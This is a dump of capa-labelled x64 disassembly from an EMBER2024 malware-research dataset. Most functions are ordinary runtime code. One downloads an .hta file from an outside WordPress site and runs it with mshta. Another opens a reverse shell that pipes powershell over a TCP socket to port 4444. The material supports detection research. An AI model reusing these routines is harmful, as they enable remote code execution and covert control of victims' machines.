joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004c8a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14004c8d7
call fcn.1400490cc
mov dword [rax], socket
call fcn.14004bab0
xor eax, eax
jmp 0x14004c965
mov rdx, r9
mov rcx, r8
call fcn.14004c774
mov rbx, rax
test rax, rax
je 0x14004c962
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x14004c630]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14004c94f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140049040
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14004c936
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14004c945
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140054468
jmp 0x14004c962
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14004c95f
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400585ac
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400585c2
mov al, 1
jmp 0x140058622
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400585d3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140058620
mov ecx, dword [rcx + 0x18]
nop
call fcn.14005fa10
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140058620
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140058620
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140058620
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140058622
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14005a04c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140037780
sub rsp, rax
mov rax, qword [0x14008f060]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140055838
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14005a09b
mov rax, rbp
jmp 0x14005a1a3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x935f0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14005a7ac
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x935f0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14005a19f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14005a19f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14005a7ac
test rax, rax
js 0x14005a19f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14005a19f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14005a191
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14005a191
cmp byte [rcx], 0xd
jne 0x14005a177
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14005a186
cmp byte [rcx + 1], 0xa
jne 0x14005a186
inc rcx
jmp 0x14005a186
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x8f610]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14005a159
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14005a1a3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140036cc0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14005b59c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400935f0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14005b5f3
cmp word [rdx], r13w
jne 0x14005b5f3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14005b5f8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14005b71d
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14005b73e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14005b631
mov rdx, r9
mov word [rbx], cx
jmp 0x14005b658
cmp r9, r8
jae 0x14005b668
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14005b612
jmp 0x14005b71d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14005b712
cmp dword [rsp + 0x80], esi
je 0x14005b712
lea r8, [0x1400935f0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14005b6ea
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14005b6ba
mov word [rbx], r13w
jmp 0x14005b71a
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14005b6c7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14005b71a
cmp word [rsp + 0x70], r13w
jne 0x14005b6f7
cmp rbx, r14
je 0x14005b6b4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14005a7b4
cmp word [rsp + 0x70], r13w
je 0x14005b71d
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400935f0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14005b717
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14005b71d
Function at 0x14005ee6c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14005eef3
mov rsi, rbx
cmp word [rax], bp
je 0x14005eeb2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14005ee9c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14005ee98
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400544a4
mov rdi, rax
test rax, rax
je 0x14005eee0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140039270
mov rbp, rdi
xor ecx, ecx
call fcn.140054468
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140061e38
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140055d44
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140061ed9
cmp ebx, dword [rsp + 0x30]
je 0x140061ed2
test esi, esi
je 0x140061ed2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140061ead
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140061eba
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140061e97
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140061ebe
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140061edb
mov eax, 1
jmp 0x140061edb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140066438
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14005a7b4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14005a7b4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140066588
cmp rax, 0xffffffffffffffff
je 0x140066588
xor edi, edi
test rbp, rbp
jle 0x140066533
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140058b40
mov rbx, rax
test rax, rax
jne 0x1400664c0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140066529
mov edx, 0x8000
mov ecx, r14d
call fcn.140052900
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140057ae0
cmp eax, 0xffffffff
je 0x140066509
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400664d0
mov edx, r15d
mov ecx, r14d
call fcn.140052900
jmp 0x140066529
cmp byte [rsi + 0x38], dil
je 0x140066520
cmp dword [rsi + 0x34], 5
jne 0x140066520
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x140066529
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140054468
jmp 0x14006659c
jns 0x14006659c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14005a7b4
cmp rax, 0xffffffffffffffff
jne 0x140066554
cmp byte [rsi + 0x30], dil
je 0x14006659c
mov edi, dword [rsi + 0x2c]
jmp 0x14006659c
mov ecx, r14d
call fcn.14005fa10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14006659c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x14006659c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140066595
mov eax, dword [rsi + 0x2c]
jmp 0x14006659a
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14005a7b4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001f00
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1400055e8], rbx
je 0x140001f67
cmp rax, rbx
jne 0x140001f5a
mov ebx, 1
mov esi, ebx
jmp 0x140001f6c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001f3f
mov ebx, 1
mov eax, dword [0x1400055f0]
cmp eax, ebx
jne 0x140001f84
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x140001ff0
mov eax, dword [0x1400055f0]
test eax, eax
jne 0x140001fe5
mov dword [0x1400055f0], ebx
lea r15, [0x140003388]
lea rdi, [0x140003370]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140001fd7
test eax, eax
jne 0x140001fdb
cmp qword [rdi], r14
je 0x140001fcc
mov rax, qword [rdi]
mov rcx, qword [0x140003350]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x140001fae
test eax, eax
je 0x140001feb
mov eax, 0xff
jmp 0x140002146
mov dword [0x140005024], ebx
mov edi, 0x1f
mov eax, dword [0x1400055f0]
cmp eax, ebx
jne 0x140002017
lea rdx, [0x140003368]
lea rcx, [0x140003358]
call sub.msvcrt.dll__initterm
mov dword [0x1400055f0], 2
test esi, esi
jne 0x140002025
mov rax, r14
xchg qword [0x1400055e8], rax
cmp qword [0x1400055f8], r14
je 0x140002058
lea rcx, [0x1400055f8]
call fcn.140002360
test eax, eax
je 0x140002058
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x1400055f8]
mov r9, qword [0x140003350]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x140002071
mov eax, 0xff
jmp 0x140002146
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x1400020f7
test ax, ax
je 0x14000208c
test edx, edx
jne 0x1400020f7
sub ax, bx
cmp ax, di
ja 0x1400020a2
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000208c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000183c
mov dword [0x140005020], eax
cmp dword [0x140005040], r14d
jne 0x1400020e0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140005024], r14d
jne 0x1400020f5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140005020]
jmp 0x140002146
cmp ax, 0x22
jne 0x14000210b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000207a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1400a1000
add rsp, 0x28
jmp 0x140001f00
Function at 0x3a10013a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x3a10015b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.3a10022b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.3a10022b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x3a1001620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x3a1007064]
mov r12, rcx
test ebx, ebx
jle 0x3a1001750
mov rax, qword [0x3a1007068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x3a100166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x3a10016f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x3a1001650
mov rcx, r12
call fcn.3a1001da0
mov rsi, rax
test rax, rax
je 0x3a1001772
mov rax, qword [0x3a1007068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.3a1001ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x3a1007068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3a1001757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3a10016ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3a1001700
add dword [0x3a1007064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x3a1007068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3a10016ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3a10015b0
nop dword [rax]
xor ebx, ebx
jmp 0x3a1001677
mov rax, qword [0x3a1007068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.3a10015b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.3a10015b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x3a1001a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x3a10070a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3a1007080]
test rbx, rbx
je 0x3a1001a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x3a1001a5b
test r12, r12
je 0x3a1001a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3a1001a40
lea rcx, [0x3a10070a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3a1001da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3a10042c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3a1001dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3a1001dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3a1001dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x3a1001e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3a1001e0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3a1001dc0
add rax, 0x28
cmp rax, r9
jne 0x3a1001df8
xor eax, eax
ret

Function at 0x3a1001e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3a10042c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3a1001e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3a1001e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x3a1001e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x3a1001ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3a10042c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3a1001ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x3a1001ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x298
mov ecx, 0x202
lea rsi, [rsp + 0x50]
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov dword [rsp + 0x28], 0
mov ecx, 2
mov dword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x115c
mov rbx, rax
mov eax, 2
mov word [rsp + 0x50], ax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x54]
mov ecx, 2
lea rdx, str.127.0.0.1
mov word [rsp + 0x52], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rdx, rsi
mov rcx, rbx
mov r8d, 0x10
call qword [sym.imp.WS2_32.dll_connect]
pxor xmm0, xmm0
lea rax, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0xb4], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.powershell
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xc0], xmm0
movq xmm0, rbx
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
movaps xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 0x100
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call rsi
mov rcx, qword [rsp + 0x68]
call rsi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add rsp, 0x298
pop rbx
pop rsi
ret

Function at 0x1400018f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002730
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002730
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001960
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x140001a90
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001990
mov rcx, rbx
call fcn.1400023d0
mov rdi, rax
test rax, rax
je 0x140001ab2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002510
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001a40
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400018f0
nop dword [rax]
xor esi, esi
jmp 0x1400019b8
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400018f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400018f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002040
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000209c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002093
test eax, eax
jne 0x140002093
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002078
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]